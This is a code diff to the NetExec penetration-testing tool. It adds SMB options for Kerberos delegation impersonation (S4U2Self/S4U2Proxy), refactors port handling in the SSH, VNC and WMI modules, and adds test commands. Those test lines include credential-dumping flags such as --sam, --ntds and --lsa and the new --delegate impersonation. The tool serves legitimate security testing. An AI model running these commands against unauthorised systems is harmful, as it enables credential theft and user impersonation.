smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy")
self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
dgroup = smb_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
@ -10,6 +15,7 @@ def proto_args(parser, std_parser, module_parser):
smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file")
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 2 secondes", type=int, default=2)
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
self_delegate_arg.make_required = [delegate_arg]
cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
@ -73,3 +79,17 @@ def proto_args(parser, std_parser, module_parser):
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
return parser
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop("make_required", [])
super().__init__(option_strings, dest, **kwargs)
self.make_required = x
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction

View File

@ -46,7 +46,7 @@ class ssh(connection):
extra={
"protocol": "SSH",
"host": self.host,
"port": self.args.port,
"port": self.port,
"hostname": self.hostname,
}
)
@ -59,13 +59,13 @@ class ssh(connection):
if self.conn._transport.remote_version:
self.remote_version = self.conn._transport.remote_version
self.logger.debug(f"Remote version: {self.remote_version}")
self.db.add_host(self.host, self.args.port, self.remote_version)
self.db.add_host(self.host, self.port, self.remote_version)
def create_conn_obj(self):
self.conn = paramiko.SSHClient()
self.conn.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
self.conn.connect(self.host, port=self.args.port, timeout=self.args.ssh_timeout, look_for_keys=False)
self.conn.connect(self.host, port=self.port, timeout=self.args.ssh_timeout, look_for_keys=False)
except AuthenticationException:
return True
except SSHException:

View File

@ -40,7 +40,7 @@ class vnc(connection):
extra={
"protocol": "VNC",
"host": self.host,
"port": self.args.port,
"port": self.port,
"hostname": self.hostname,
}
)
@ -50,7 +50,7 @@ class vnc(connection):
def create_conn_obj(self):
try:
self.target = RDPTarget(ip=self.host, port=self.args.port)
self.target = RDPTarget(ip=self.host, port=self.port)
credential = UniCredential(protocol=asyauthProtocol.PLAIN, stype=asyauthSecret.NONE)
self.conn = VNCConnection(target=self.target, credentials=credential, iosettings=self.iosettings)
asyncio.run(self.connect_vnc(True))

View File

@ -58,7 +58,7 @@ class wmi(connection):
extra={
"protocol": "WMI",
"host": self.host,
"port": self.args.port,
"port": self.port,
"hostname": self.hostname
}
)
@ -67,7 +67,7 @@ class wmi(connection):
if self.remoteName == "":
self.remoteName = self.host
try:
rpctansport = transport.DCERPCTransportFactory(fr"ncacn_ip_tcp:{self.remoteName}[{self.args.port!s}]")
rpctansport = transport.DCERPCTransportFactory(fr"ncacn_ip_tcp:{self.remoteName}[{self.port!s}]")
rpctansport.set_credentials(username="", password="", domain="", lmhash="", nthash="", aesKey="")
rpctansport.setRemoteHost(self.host)
rpctansport.set_connect_timeout(self.args.rpc_timeout)

View File

@ -13,6 +13,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-brute
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --local-groups
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --gen-relay-list /tmp/relaylistOutputFilename.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --local-auth
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --delegate LOGIN_USERNAME
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --delegate LOGIN_USERNAME --self
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa